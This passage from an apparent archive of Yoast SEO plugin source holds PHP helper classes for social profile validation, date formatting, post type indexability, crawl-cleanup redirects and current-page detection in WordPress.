		return (string) \apply_filters( 'wpseo_twitter_image_size', 'full' );
	}

	/**
	 * Retrieves an image url by its id.
	 *
	 * @param int $image_id The image id.
	 *
	 * @return string The image url. Empty string if the attachment is not valid.
	 */
	public function get_by_id( $image_id ) {
		if ( ! $this->image->is_valid_attachment( $image_id ) ) {
			return '';
		}

		return $this->image->get_attachment_image_source( $image_id, $this->get_image_size() );
	}
}
helpers/social-profiles-helper.php000066600000025356152204306270013307 0ustar00<?php

namespace Yoast\WP\SEO\Helpers;

/**
 * Class Social_Profiles_Helper.
 */
class Social_Profiles_Helper {

	/**
	 * The fields for the person social profiles payload.
	 *
	 * @var array
	 */
	private $person_social_profile_fields = [
		'facebook'   => 'get_non_valid_url',
		'instagram'  => 'get_non_valid_url',
		'linkedin'   => 'get_non_valid_url',
		'myspace'    => 'get_non_valid_url',
		'pinterest'  => 'get_non_valid_url',
		'soundcloud' => 'get_non_valid_url',
		'tumblr'     => 'get_non_valid_url',
		'twitter'    => 'get_non_valid_twitter',
		'youtube'    => 'get_non_valid_url',
		'wikipedia'  => 'get_non_valid_url',
	];

	/**
	 * The fields for the organization social profiles payload.
	 *
	 * @var array
	 */
	private $organization_social_profile_fields = [
		'facebook_site'     => 'get_non_valid_url',
		'twitter_site'      => 'get_non_valid_twitter',
		'other_social_urls' => 'get_non_valid_url_array',
	];

	/**
	 * The Options_Helper instance.
	 *
	 * @var Options_Helper
	 */
	protected $options_helper;

	/**
	 * Social_Profiles_Helper constructor.
	 *
	 * @param Options_Helper $options_helper The WPSEO options helper.
	 */
	public function __construct( Options_Helper $options_helper ) {
		$this->options_helper = $options_helper;
	}

	/**
	 * Gets the person social profile fields supported by us.
	 *
	 * @return array The social profile fields.
	 */
	public function get_person_social_profile_fields() {
		/**
		 * Filter: Allow changes to the social profiles fields available for a person.
		 *
		 * @param array $person_social_profile_fields The social profile fields.
		 */
		$person_social_profile_fields = \apply_filters( 'wpseo_person_social_profile_fields', $this->person_social_profile_fields );

		return (array) $person_social_profile_fields;
	}

	/**
	 * Gets the organization social profile fields supported by us.
	 *
	 * @return array The organization profile fields.
	 */
	public function get_organization_social_profile_fields() {
		/**
		 * Filter: Allow changes to the social profiles fields available for an organization.
		 *
		 * @param array $organization_social_profile_fields The social profile fields.
		 */
		$organization_social_profile_fields = \apply_filters( 'wpseo_organization_social_profile_fields', $this->organization_social_profile_fields );

		return (array) $organization_social_profile_fields;
	}

	/**
	 * Gets the person social profiles stored in the database.
	 *
	 * @param int $person_id The id of the person.
	 *
	 * @return array The person's social profiles.
	 */
	public function get_person_social_profiles( $person_id ) {
		$social_profile_fields  = \array_keys( $this->get_person_social_profile_fields() );
		$person_social_profiles = \array_combine( $social_profile_fields, \array_fill( 0, \count( $social_profile_fields ), '' ) );

		// If no person has been selected, $person_id is set to false.
		if ( \is_numeric( $person_id ) ) {
			foreach ( \array_keys( $person_social_profiles ) as $field_name ) {
				$value = \get_user_meta( $person_id, $field_name, true );
				// If $person_id is an integer but does not represent a valid user, get_user_meta returns false.
				if ( ! \is_bool( $value ) ) {
					$person_social_profiles[ $field_name ] = $value;
				}
			}
		}

		return $person_social_profiles;
	}

	/**
	 * Gets the organization social profiles stored in the database.
	 *
	 * @return array<string, string> The social profiles for the organization.
	 */
	public function get_organization_social_profiles() {
		$organization_social_profiles_fields = \array_keys( $this->get_organization_social_profile_fields() );
		$organization_social_profiles        = [];

		foreach ( $organization_social_profiles_fields as $field_name ) {
			$default_value = '';
			if ( $field_name === 'other_social_urls' ) {
				$default_value = [];
			}
			$social_profile_value = $this->options_helper->get( $field_name, $default_value );

			if ( $field_name === 'other_social_urls' ) {
				$other_social_profiles                             = \array_map( '\urldecode', \array_filter( $social_profile_value ) );
				$organization_social_profiles['other_social_urls'] = $other_social_profiles;
				continue;
			}

			if ( $field_name === 'twitter_site' && $social_profile_value !== '' ) {
				$organization_social_profiles[ $field_name ] = 'https://x.com/' . $social_profile_value;
				continue;
			}

			$organization_social_profiles[ $field_name ] = \urldecode( $social_profile_value );
		}

		return $organization_social_profiles;
	}

	/**
	 * Stores the values for the person's social profiles.
	 *
	 * @param int   $person_id       The id of the person to edit.
	 * @param array $social_profiles The array of the person's social profiles to be set.
	 *
	 * @return string[] An array of field names which failed to be saved in the db.
	 */
	public function set_person_social_profiles( $person_id, $social_profiles ) {
		$failures                     = [];
		$person_social_profile_fields = $this->get_person_social_profile_fields();

		// First validate all social profiles, before even attempting to save them.
		foreach ( $person_social_profile_fields as $field_name => $validation_method ) {
			if ( ! isset( $social_profiles[ $field_name ] ) ) {
				// Just skip social profiles that were not passed.
				continue;
			}

			if ( $social_profiles[ $field_name ] === '' ) {
				continue;
			}

			$value_to_validate = $social_profiles[ $field_name ];
			$failures          = \array_merge( $failures, \call_user_func( [ $this, $validation_method ], $value_to_validate, $field_name ) );
		}

		if ( ! empty( $failures ) ) {
			return $failures;
		}

		// All social profiles look good, now let's try to save them.
		foreach ( \array_keys( $person_social_profile_fields ) as $field_name ) {
			if ( ! isset( $social_profiles[ $field_name ] ) ) {
				// Just skip social profiles that were not passed.
				continue;
			}
			$social_profiles[ $field_name ] = $this->sanitize_social_field( $social_profiles[ $field_name ] );
			\update_user_meta( $person_id, $field_name, $social_profiles[ $field_name ] );
		}

		return $failures;
	}

	/**
	 * Stores the values for the organization's social profiles.
	 *
	 * @param array $social_profiles An array with the social profiles values to be saved in the db.
	 *
	 * @return string[] An array of field names which failed to be saved in the db.
	 */
	public function set_organization_social_profiles( $social_profiles ) {
		$failures                           = [];
		$organization_social_profile_fields = $this->get_organization_social_profile_fields();

		// First validate all social profiles, before even attempting to save them.
		foreach ( $organization_social_profile_fields as $field_name => $validation_method ) {
			if ( ! isset( $social_profiles[ $field_name ] ) ) {
				// Just skip social profiles that were not passed.
				continue;
			}
			$social_profiles[ $field_name ] = $this->sanitize_social_field( $social_profiles[ $field_name ] );

			$value_to_validate = $social_profiles[ $field_name ];
			$failures          = \array_merge( $failures, \call_user_func( [ $this, $validation_method ], $value_to_validate, $field_name ) );
		}

		if ( ! empty( $failures ) ) {
			return $failures;
		}

		// All social profiles look good, now let's try to save them.
		foreach ( \array_keys( $organization_social_profile_fields ) as $field_name ) {
			if ( ! isset( $social_profiles[ $field_name ] ) ) {
				// Just skip social profiles that were not passed.
				continue;
			}

			// Remove empty strings in Other Social URLs.
			if ( $field_name === 'other_social_urls' ) {
				$other_social_urls = \array_filter(
					$social_profiles[ $field_name ],
					static function ( $other_social_url ) {
						return $other_social_url !== '';
					}
				);

				$social_profiles[ $field_name ] = \array_values( $other_social_urls );
			}

			$result = $this->options_helper->set( $field_name, $social_profiles[ $field_name ] );
			if ( ! $result ) {
				/**
				 * The value for Twitter might have been sanitised from URL to username.
				 * If so, $result will be false. We should check if the option value is part of the received value.
				 */
				if ( $field_name === 'twitter_site' ) {
					$current_option = $this->options_helper->get( $field_name );
					if ( ! \strpos( $social_profiles[ $field_name ], 'twitter.com/' . $current_option ) && ! \strpos( $social_profiles[ $field_name ], 'x.com/' . $current_option ) ) {
						$failures[] = $field_name;
					}
				}
				else {
					$failures[] = $field_name;
				}
			}
		}

		if ( ! empty( $failures ) ) {
			return $failures;
		}

		return [];
	}

	/**
	 * Returns a sanitized social field.
	 *
	 * @param string|array $social_field The social field to sanitize.
	 *
	 * @return string|array The sanitized social field.
	 */
	protected function sanitize_social_field( $social_field ) {
		if ( \is_array( $social_field ) ) {
			foreach ( $social_field as $key => $value ) {
				$social_field[ $key ] = \sanitize_text_field( $value );
			}

			return $social_field;
		}

		return \sanitize_text_field( $social_field );
	}

	/**
	 * Checks if url is not valid and returns the name of the setting if it's not.
	 *
	 * @param string $url         The url to be validated.
	 * @param string $url_setting The name of the setting to be updated with the url.
	 *
	 * @return array An array with the setting that the non-valid url is about to update.
	 */
	protected function get_non_valid_url( $url, $url_setting ) {
		if ( $this->options_helper->is_social_url_valid( $url ) ) {
			return [];
		}

		return [ $url_setting ];
	}

	/**
	 * Checks if urls in an array are not valid and return the name of the setting if one of them is not, including the non-valid url's index in the array
	 *
	 * @param array  $urls         The urls to be validated.
	 * @param string $urls_setting The name of the setting to be updated with the urls.
	 *
	 * @return array An array with the settings that the non-valid urls are about to update, suffixed with a dash-separated index of the positions of those settings, eg. other_social_urls-2.
	 */
	protected function get_non_valid_url_array( $urls, $urls_setting ) {
		$non_valid_url_array = [];

		foreach ( $urls as $key => $url ) {
			if ( ! $this->options_helper->is_social_url_valid( $url ) ) {
				$non_valid_url_array[] = $urls_setting . '-' . $key;
			}
		}

		return $non_valid_url_array;
	}

	/**
	 * Checks if the twitter value is not valid and returns the name of the setting if it's not.
	 *
	 * @param array  $twitter_site    The twitter value to be validated.
	 * @param string $twitter_setting The name of the twitter setting to be updated with the value.
	 *
	 * @return array An array with the setting that the non-valid twitter value is about to update.
	 */
	protected function get_non_valid_twitter( $twitter_site, $twitter_setting ) {
		if ( $this->options_helper->is_twitter_id_valid( $twitter_site, false ) ) {
			return [];
		}

		return [ $twitter_setting ];
	}
}
helpers/date-helper.php000066600000006210152204306270011115 0ustar00<?php

namespace Yoast\WP\SEO\Helpers;

use DateTime;
use DateTimeZone;
use Exception;

/**
 * A helper object for dates.
 */
class Date_Helper {

	/**
	 * Convert given date string to the W3C format.
	 *
	 * If $translate is true then the given date and format string will
	 * be passed to date_i18n() for translation.
	 *
	 * @param string $date      Date string to convert.
	 * @param bool   $translate Whether the return date should be translated. Default false.
	 *
	 * @return string Formatted date string.
	 */
	public function mysql_date_to_w3c_format( $date, $translate = false ) {
		return \mysql2date( \DATE_W3C, $date, $translate );
	}

	/**
	 * Formats a given date in UTC TimeZone format.
	 *
	 * @param string $date   String representing the date / time.
	 * @param string $format The format that the passed date should be in.
	 *
	 * @return string The formatted date.
	 */
	public function format( $date, $format = \DATE_W3C ) {
		if ( ! \is_string( $date ) ) {
			return $date;
		}

		$immutable_date = \date_create_immutable_from_format( 'Y-m-d H:i:s', $date, new DateTimeZone( 'UTC' ) );

		if ( ! $immutable_date ) {
			return $date;
		}

		return $immutable_date->format( $format );
	}

	/**
	 * Formats the given timestamp to the needed format.
	 *
	 * @param int    $timestamp The timestamp to use for the formatting.
	 * @param string $format    The format that the passed date should be in.
	 *
	 * @return string The formatted date.
	 */
	public function format_timestamp( $timestamp, $format = \DATE_W3C ) {
		if ( ! \is_string( $timestamp ) && ! \is_int( $timestamp ) ) {
			return $timestamp;
		}

		$immutable_date = \date_create_immutable_from_format( 'U', $timestamp, new DateTimeZone( 'UTC' ) );

		if ( ! $immutable_date ) {
			return $timestamp;
		}

		return $immutable_date->format( $format );
	}

	/**
	 * Formats a given date in UTC TimeZone format and translate it to the set language.
	 *
	 * @param string $date   String representing the date / time.
	 * @param string $format The format that the passed date should be in.
	 *
	 * @return string The formatted and translated date.
	 */
	public function format_translated( $date, $format = \DATE_W3C ) {
		return \date_i18n( $format, $this->format( $date, 'U' ) );
	}

	/**
	 * Returns the current time measured in the number of seconds since the Unix Epoch (January 1 1970 00:00:00 GMT).
	 *
	 * @return int The current time measured in the number of seconds since the Unix Epoch (January 1 1970 00:00:00 GMT).
	 */
	public function current_time() {
		return \time();
	}

	/**
	 * Check if a string is a valid datetime.
	 *
	 * @param string $datetime String input to check as valid input for DateTime class.
	 *
	 * @return bool True when datetime is valid.
	 */
	public function is_valid_datetime( $datetime ) {
		if ( $datetime === null ) {
			/*
			 * While not "officially" supported, `null` will be handled as `"now"` until PHP 9.0.
			 * @link https://3v4l.org/tYp2k
			 */
			return true;
		}

		if ( \is_string( $datetime ) && \substr( $datetime, 0, 1 ) === '-' ) {
			return false;
		}

		try {
			return new DateTime( $datetime ) !== false;
		} catch ( Exception $exception ) {
			return false;
		}
	}
}
helpers/aioseo-helper.php000066600000002362152204306270011463 0ustar00<?php

namespace Yoast\WP\SEO\Helpers;

use wpdb;

/**
 * The AIOSEO Helper.
 */
class Aioseo_Helper {

	/**
	 * The WordPress database instance.
	 *
	 * @var wpdb
	 */
	protected $wpdb;

	/**
	 * The wpdb helper.
	 *
	 * @var Wpdb_Helper
	 */
	protected $wpdb_helper;

	/**
	 * Class constructor.
	 *
	 * @param wpdb        $wpdb        The WordPress database instance.
	 * @param Wpdb_Helper $wpdb_helper The wpdb helper.
	 */
	public function __construct( wpdb $wpdb, Wpdb_Helper $wpdb_helper ) {
		$this->wpdb        = $wpdb;
		$this->wpdb_helper = $wpdb_helper;
	}

	/**
	 * Retrieves the AIOSEO table name along with the db prefix.
	 *
	 * @return string The AIOSEO table name along with the db prefix.
	 */
	public function get_table() {
		return $this->wpdb->prefix . 'aioseo_posts';
	}

	/**
	 * Determines if the AIOSEO database table exists.
	 *
	 * @return bool True if the table is found.
	 */
	public function aioseo_exists() {
		return $this->wpdb_helper->table_exists( $this->get_table() ) === true;
	}

	/**
	 * Retrieves the option where the global settings exist.
	 *
	 * @return array The option where the global settings exist.
	 */
	public function get_global_option() {
		return \json_decode( \get_option( 'aioseo_options', '' ), true );
	}
}
helpers/string-helper.php000066600000002302152204306270011504 0ustar00<?php

namespace Yoast\WP\SEO\Helpers;

/**
 * A helper object for string operations.
 */
class String_Helper {

	/**
	 * Strips all HTML tags including script and style.
	 *
	 * @param string $text The text to strip the tags from.
	 *
	 * @return string The processed string.
	 */
	public function strip_all_tags( $text ) {
		return \wp_strip_all_tags( $text );
	}

	/**
	 * Standardize whitespace in a string.
	 *
	 * Replace line breaks, carriage returns, tabs with a space, then remove double spaces.
	 *
	 * @param string $text Text input to standardize.
	 *
	 * @return string
	 */
	public function standardize_whitespace( $text ) {
		return \trim( \str_replace( '  ', ' ', \str_replace( [ "\t", "\n", "\r", "\f" ], ' ', $text ) ) );
	}

	/**
	 * First strip out registered and enclosing shortcodes using native WordPress strip_shortcodes function.
	 * Then strip out the shortcodes with a filthy regex, because people don't properly register their shortcodes.
	 *
	 * @param string $text Input string that might contain shortcodes.
	 *
	 * @return string String without shortcodes.
	 */
	public function strip_shortcode( $text ) {
		return \preg_replace( '`\[[^\]]+\]`s', '', \strip_shortcodes( $text ) );
	}
}
helpers/post-type-helper.php000066600000016265152204306270012157 0ustar00<?php

namespace Yoast\WP\SEO\Helpers;

use WP_Post_Type;

/**
 * A helper object for post types.
 */
class Post_Type_Helper {

	/**
	 * The options helper.
	 *
	 * @var Options_Helper
	 */
	protected $options_helper;

	/**
	 * Post_Type_Helper constructor.
	 *
	 * @param Options_Helper $options_helper The options helper.
	 */
	public function __construct( Options_Helper $options_helper ) {
		$this->options_helper = $options_helper;
	}

	/**
	 * Checks if the request post type is public and indexable.
	 *
	 * @codeCoverageIgnore We have to write test when this method contains own code.
	 *
	 * @param string $post_type_name The name of the post type to lookup.
	 *
	 * @return bool True when post type is set to index.
	 */
	public function is_indexable( $post_type_name ) {
		if ( $this->options_helper->get( 'disable-' . $post_type_name, false ) ) {
			return false;
		}

		return ( $this->options_helper->get( 'noindex-' . $post_type_name, false ) === false );
	}

	/**
	 * Checks if the request post type has the Yoast Metabox enabled.
	 *
	 * @param string $post_type_name The name of the post type to lookup.
	 *
	 * @return bool True if metabox is enabled.
	 */
	public function has_metabox( $post_type_name ) {
		return ( $this->options_helper->get( 'display-metabox-pt-' . $post_type_name, true ) === true );
	}

	/**
	 * Returns an array with the public post types.
	 *
	 * @codeCoverageIgnore It only wraps a WordPress function.
	 *
	 * @param string $output The output type to use.
	 *
	 * @return array Array with all the public post_types.
	 */
	public function get_public_post_types( $output = 'names' ) {
		return \get_post_types( [ 'public' => true ], $output );
	}

	/**
	 * Returns an array with the accessible post types.
	 *
	 * An accessible post type is a post type that is public and isn't set as no-index (robots).
	 *
	 * @return array Array with all the accessible post_types.
	 */
	public function get_accessible_post_types() {
		$post_types = \get_post_types( [ 'public' => true ] );
		$post_types = \array_filter( $post_types, 'is_post_type_viewable' );

		/**
		 * Filter: 'wpseo_accessible_post_types' - Allow changing the accessible post types.
		 *
		 * @param array $post_types The public post types.
		 */
		$post_types = \apply_filters( 'wpseo_accessible_post_types', $post_types );

		// When the array gets messed up somewhere.
		if ( ! \is_array( $post_types ) ) {
			return [];
		}

		return $post_types;
	}

	/**
	 * Returns an array of post types that are excluded from being indexed for the
	 * indexables.
	 *
	 * @return array The excluded post types.
	 */
	public function get_excluded_post_types_for_indexables() {
		/**
		 * Filter: 'wpseo_indexable_excluded_post_types' - Allows excluding posts of a certain post
		 * type from being saved to the indexable table.
		 *
		 * @param array $excluded_post_types The currently excluded post types that indexables will not be created for.
		 */
		$excluded_post_types = \apply_filters( 'wpseo_indexable_excluded_post_types', [] );

		// Failsafe, to always make sure that `excluded_post_types` is an array.
		if ( ! \is_array( $excluded_post_types ) ) {
			return [];
		}

		return $excluded_post_types;
	}

	/**
	 * Checks if the post type is excluded.
	 *
	 * @param string $post_type The post type to check.
	 *
	 * @return bool If the post type is exclude.
	 */
	public function is_excluded( $post_type ) {
		return \in_array( $post_type, $this->get_excluded_post_types_for_indexables(), true );
	}

	/**
	 * Checks if the post type with the given name has an archive page.
	 *
	 * @param WP_Post_Type|string $post_type The name of the post type to check.
	 *
	 * @return bool True when the post type has an archive page.
	 */
	public function has_archive( $post_type ) {
		if ( \is_string( $post_type ) ) {
			$post_type = \get_post_type_object( $post_type );
		}

		return ( ! empty( $post_type->has_archive ) );
	}

	/**
	 * Returns the post types that should be indexed.
	 *
	 * @return array The post types that should be indexed.
	 */
	public function get_indexable_post_types() {
		$public_post_types   = $this->get_public_post_types();
		$excluded_post_types = $this->get_excluded_post_types_for_indexables();

		$included_post_types = \array_diff( $public_post_types, $excluded_post_types );

		return $this->filter_included_post_types( $included_post_types );
	}

	/**
	 * Returns all indexable post types with archive pages.
	 *
	 * @return array All post types which are indexable and have archive pages.
	 */
	public function get_indexable_post_archives() {
		return \array_filter( $this->get_indexable_post_type_objects(), [ $this, 'has_archive' ] );
	}

	/**
	 * Filters the post types that are included to be indexed.
	 *
	 * @param array $included_post_types The post types that are included to be indexed.
	 *
	 * @return array The filtered post types that are included to be indexed.
	 */
	protected function filter_included_post_types( $included_post_types ) {
		/**
		 * Filter: 'wpseo_indexable_forced_included_post_types' - Allows force including posts of a certain post
		 * type to be saved to the indexable table.
		 *
		 * @param array $included_post_types The currently included post types that indexables will be created for.
		 */
		$filtered_included_post_types = \apply_filters( 'wpseo_indexable_forced_included_post_types', $included_post_types );

		if ( ! \is_array( $filtered_included_post_types ) ) {
			// If the filter got misused, let's return the unfiltered array.
			return \array_values( $included_post_types );
		}

		// Add sanity check to make sure everything is an actual post type.
		foreach ( $filtered_included_post_types as $key => $post_type ) {
			if ( ! \post_type_exists( $post_type ) ) {
				unset( $filtered_included_post_types[ $key ] );
			}
		}

		// `array_values`, to make sure that the keys are reset.
		return \array_values( $filtered_included_post_types );
	}

	/**
	 * Checks if the given post type should be indexed.
	 *
	 * @param string $post_type The post type that is checked.
	 *
	 * @return bool
	 */
	public function is_of_indexable_post_type( $post_type ) {
		$public_types = $this->get_indexable_post_types();
		if ( ! \in_array( $post_type, $public_types, true ) ) {
			return false;
		}

		return true;
	}

	/**
	 * Checks if the archive of a post type is indexable.
	 *
	 * @param string $post_type The post type to check.
	 *
	 * @return bool if the archive is indexable.
	 */
	public function is_post_type_archive_indexable( $post_type ) {
		$public_type_objects = $this->get_indexable_post_archives();
		$public_types        = \array_map(
			static function ( $post_type_object ) {
				return $post_type_object->name;
			},
			$public_type_objects
		);

		return \in_array( $post_type, $public_types, true );
	}

	/**
	 * Returns an array of complete post type objects for all indexable post types.
	 *
	 * @return array List of indexable post type objects.
	 */
	public function get_indexable_post_type_objects() {
		$post_type_objects    = [];
		$indexable_post_types = $this->get_indexable_post_types();
		foreach ( $indexable_post_types as $post_type ) {
			$post_type_object = \get_post_type_object( $post_type );
			if ( ! empty( $post_type_object ) ) {
				$post_type_objects[ $post_type ] = $post_type_object;
			}
		}

		return $post_type_objects;
	}
}
helpers/crawl-cleanup-helper.php000066600000020145152204306270012740 0ustar00<?php

namespace Yoast\WP\SEO\Helpers;

/**
 * Class Crawl_Cleanup_Helper.
 *
 * Used by the Crawl_Cleanup_Permalinks class.
 */
class Crawl_Cleanup_Helper {

	/**
	 * The current page helper
	 *
	 * @var Current_Page_Helper
	 */
	private $current_page_helper;

	/**
	 * The options helper.
	 *
	 * @var Options_Helper
	 */
	private $options_helper;

	/**
	 * The URL helper.
	 *
	 * @var Url_Helper
	 */
	private $url_helper;

	/**
	 * The Redirect Helper.
	 *
	 * @var Redirect_Helper
	 */
	private $redirect_helper;

	/**
	 * Crawl Cleanup Basic integration constructor.
	 *
	 * @param Current_Page_Helper $current_page_helper The current page helper.
	 * @param Options_Helper      $options_helper      The option helper.
	 * @param Url_Helper          $url_helper          The URL helper.
	 * @param Redirect_Helper     $redirect_helper     The Redirect Helper.
	 */
	public function __construct(
		Current_Page_Helper $current_page_helper,
		Options_Helper $options_helper,
		Url_Helper $url_helper,
		Redirect_Helper $redirect_helper
	) {
		$this->current_page_helper = $current_page_helper;
		$this->options_helper      = $options_helper;
		$this->url_helper          = $url_helper;
		$this->redirect_helper     = $redirect_helper;
	}

	/**
	 * Checks if the current URL is not robots, sitemap, empty or user is logged in.
	 *
	 * @return bool True if the current URL is a valid URL.
	 */
	public function should_avoid_redirect() {
		// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- We're not processing anything yet...
		if ( \is_robots() || \get_query_var( 'sitemap' ) || empty( $_GET ) || \is_user_logged_in() ) {
			return true;
		}
		return false;
	}

	/**
	 * Returns the list of the allowed extra vars.
	 *
	 * @return array The list of the allowed extra vars.
	 */
	public function get_allowed_extravars() {
		$default_allowed_extravars = [
			'utm_source',
			'utm_medium',
			'utm_campaign',
			'utm_term',
			'utm_content',
			'gclid',
			'gtm_debug',
		];

		/**
		 * Filter: 'Yoast\WP\SEO\allowlist_permalink_vars' - Allows plugins to register their own variables not to clean.
		 *
		 * @since 19.2.0
		 *
		 * @param array $allowed_extravars The list of the allowed vars (empty by default).
		 */
		$allowed_extravars = \apply_filters( 'Yoast\WP\SEO\allowlist_permalink_vars', $default_allowed_extravars );

		$clean_permalinks_extra_variables = $this->options_helper->get( 'clean_permalinks_extra_variables' );

		if ( $clean_permalinks_extra_variables !== '' ) {
			$allowed_extravars = \array_merge( $allowed_extravars, \explode( ',', $clean_permalinks_extra_variables ) );
		}
		return $allowed_extravars;
	}

	/**
	 * Gets the allowed query vars from the current URL.
	 *
	 * @param string $current_url The current URL.
	 * @return array is_allowed and allowed_query.
	 */
	public function allowed_params( $current_url ) {
		// This is a Premium plugin-only function: Allows plugins to register their own variables not to clean.
		$allowed_extravars = $this->get_allowed_extravars();

		$allowed_query = [];

		$parsed_url = \wp_parse_url( $current_url, \PHP_URL_QUERY );

		$query = $this->url_helper->parse_str_params( $parsed_url );

		if ( ! empty( $allowed_extravars ) ) {
			foreach ( $allowed_extravars as $get ) {
				$get = \trim( $get );
				if ( isset( $query[ $get ] ) ) {
					$allowed_query[ $get ] = \rawurlencode_deep( $query[ $get ] );
					unset( $query[ $get ] );
				}
			}
		}
		return [
			'query'         => $query,
			'allowed_query' => $allowed_query,
		];
	}

	/**
	 * Returns the proper URL for singular pages.
	 *
	 * @return string The proper URL.
	 */
	public function singular_url() {

		global $post;
		$proper_url = \get_permalink( $post->ID );
		$page       = \get_query_var( 'page' );

		if ( $page && $page !== 1 ) {
			$the_post   = \get_post( $post->ID );
			$page_count = \substr_count( $the_post->post_content, '<!--nextpage-->' );
			$proper_url = \user_trailingslashit( \trailingslashit( $proper_url ) . $page );
			if ( $page > ( $page_count + 1 ) ) {
				$proper_url = \user_trailingslashit( \trailingslashit( $proper_url ) . ( $page_count + 1 ) );
			}
		}

		// Fix reply to comment links, whoever decided this should be a GET variable?
		// phpcs:ignore WordPress.Security -- We know this is scary.
		if ( isset( $_SERVER['REQUEST_URI'] ) && \preg_match( '`(\?replytocom=[^&]+)`', \sanitize_text_field( $_SERVER['REQUEST_URI'] ), $matches ) ) {
			$proper_url .= \str_replace( '?replytocom=', '#comment-', $matches[0] );
		}
		unset( $matches );

		return $proper_url;
	}

	/**
	 * Returns the proper URL for front page.
	 *
	 * @return string The proper URL.
	 */
	public function front_page_url() {
		if ( $this->current_page_helper->is_home_posts_page() ) {
			return \home_url( '/' );
		}
		if ( $this->current_page_helper->is_home_static_page() ) {
			return \get_permalink( $GLOBALS['post']->ID );
		}
		return '';
	}

	/**
	 * Returns the proper URL for 404 page.
	 *
	 * @param string $current_url The current URL.
	 * @return string The proper URL.
	 */
	public function page_not_found_url( $current_url ) {
		if ( ! \is_multisite() || \is_subdomain_install() || ! \is_main_site() ) {
			return '';
		}

		if ( $current_url !== \home_url() . '/blog/' && $current_url !== \home_url() . '/blog' ) {
			return '';
		}

		if ( $this->current_page_helper->is_home_static_page() ) {
			return \get_permalink( \get_option( 'page_for_posts' ) );
		}

		return \home_url();
	}

	/**
	 * Returns the proper URL for taxonomy page.
	 *
	 * @return string The proper URL.
	 */
	public function taxonomy_url() {
		global $wp_query;
		$term = $wp_query->get_queried_object();

		if ( \is_feed() ) {
			return \get_term_feed_link( $term->term_id, $term->taxonomy );
		}
		return \get_term_link( $term, $term->taxonomy );
	}

	/**
	 * Returns the proper URL for search page.
	 *
	 * @return string The proper URL.
	 */
	public function search_url() {
		$s = \get_search_query();
		return \home_url() . '/?s=' . \rawurlencode( $s );
	}

	/**
	 * Returns the proper URL for url with page param.
	 *
	 * @param string $proper_url The proper URL.
	 * @return string The proper URL.
	 */
	public function query_var_page_url( $proper_url ) {
		global $wp_query;
		if ( \is_search( $proper_url ) ) {
			return \home_url() . '/page/' . $wp_query->query_vars['paged'] . '/?s=' . \rawurlencode( \get_search_query() );
		}
		return \user_trailingslashit( \trailingslashit( $proper_url ) . 'page/' . $wp_query->query_vars['paged'] );
	}

	/**
	 * Returns true if query is with page param.
	 *
	 * @param string $proper_url The proper URL.
	 * @return bool is query with page param.
	 */
	public function is_query_var_page( $proper_url ) {
		global $wp_query;
		if ( empty( $proper_url ) || $wp_query->query_vars['paged'] === 0 || $wp_query->post_count === 0 ) {
			return false;
		}
		return true;
	}

	/**
	 * Redirects clean permalink.
	 *
	 * @param string $proper_url The proper URL.
	 * @return void
	 */
	public function do_clean_redirect( $proper_url ) {
		$this->redirect_helper->set_header( 'Content-Type: redirect', true );
		$this->redirect_helper->remove_header( 'Content-Type' );
		$this->redirect_helper->remove_header( 'Last-Modified' );
		$this->redirect_helper->remove_header( 'X-Pingback' );

		$message = \sprintf(
			/* translators: %1$s: Yoast SEO */
			\__( '%1$s: unregistered URL parameter removed. See %2$s', 'wordpress-seo' ),
			'Yoast SEO',
			'https://yoa.st/advanced-crawl-settings'
		);

		$this->redirect_helper->do_safe_redirect( $proper_url, 301, $message );
	}

	/**
	 * Gets the type of URL.
	 *
	 * @return string The type of URL.
	 */
	public function get_url_type() {
		if ( \is_singular() ) {
			return 'singular_url';
		}
		if ( \is_front_page() ) {
			return 'front_page_url';
		}
		if ( $this->current_page_helper->is_posts_page() ) {
			return 'page_for_posts_url';
		}
		if ( \is_category() || \is_tag() || \is_tax() ) {
			return 'taxonomy_url';
		}
		if ( \is_search() ) {
			return 'search_url';
		}
		if ( \is_404() ) {
			return 'page_not_found_url';
		}
		return '';
	}

	/**
	 * Returns the proper URL for posts page.
	 *
	 * @return string The proper URL.
	 */
	public function page_for_posts_url() {
		return \get_permalink( \get_option( 'page_for_posts' ) );
	}
}
helpers/current-page-helper.php000066600000037222152204306270012603 0ustar00<?php

namespace Yoast\WP\SEO\Helpers;

use WP_Post;
use Yoast\WP\SEO\Wrappers\WP_Query_Wrapper;

/**
 * A helper object for WordPress posts.
 */
class Current_Page_Helper {

	/**
	 * The WP Query wrapper.
	 *
	 * @var WP_Query_Wrapper
	 */
	private $wp_query_wrapper;

	/**
	 * Current_Page_Helper constructor.
	 *
	 * @codeCoverageIgnore It only sets dependencies.
	 *
	 * @param WP_Query_Wrapper $wp_query_wrapper The wrapper for WP_Query.
	 */
	public function __construct( WP_Query_Wrapper $wp_query_wrapper ) {
		$this->wp_query_wrapper = $wp_query_wrapper;
	}

	/**
	 * Returns the page type for the current request.
	 *
	 * @codeCoverageIgnore It just depends on other functions for its result.
	 *
	 * @return string Page type.
	 */
	public function get_page_type() {
		switch ( true ) {
			case $this->is_search_result():
				return 'Search_Result_Page';
			case $this->is_static_posts_page():
				return 'Static_Posts_Page';
			case $this->is_home_static_page():
				return 'Static_Home_Page';
			case $this->is_home_posts_page():
				return 'Home_Page';
			case $this->is_simple_page():
				return 'Post_Type';
			case $this->is_post_type_archive():
				return 'Post_Type_Archive';
			case $this->is_term_archive():
				return 'Term_Archive';
			case $this->is_author_archive():
				return 'Author_Archive';
			case $this->is_date_archive():
				return 'Date_Archive';
			case $this->is_404():
				return 'Error_Page';
		}

		return 'Fallback';
	}

	/**
	 * Checks if the currently opened page is a simple page.
	 *
	 * @return bool Whether the currently opened page is a simple page.
	 */
	public function is_simple_page() {
		return $this->get_simple_page_id() > 0;
	}

	/**
	 * Returns the id of the currently opened page.
	 *
	 * @return int The id of the currently opened page.
	 */
	public function get_simple_page_id() {
		if ( \is_singular() ) {
			return \get_the_ID();
		}

		if ( $this->is_posts_page() ) {
			return \get_option( 'page_for_posts' );
		}

		/**
		 * Filter: Allow changing the default page id.
		 *
		 * @param int $page_id The default page id.
		 */
		return \apply_filters( 'wpseo_frontend_page_type_simple_page_id', 0 );
	}

	/**
	 * Returns the id of the currently opened author archive.
	 *
	 * @codeCoverageIgnore It wraps WordPress functionality.
	 *
	 * @return int The id of the currently opened author archive.
	 */
	public function get_author_id() {
		$wp_query = $this->wp_query_wrapper->get_main_query();

		return $wp_query->get( 'author' );
	}

	/**
	 * Returns the id of the front page.
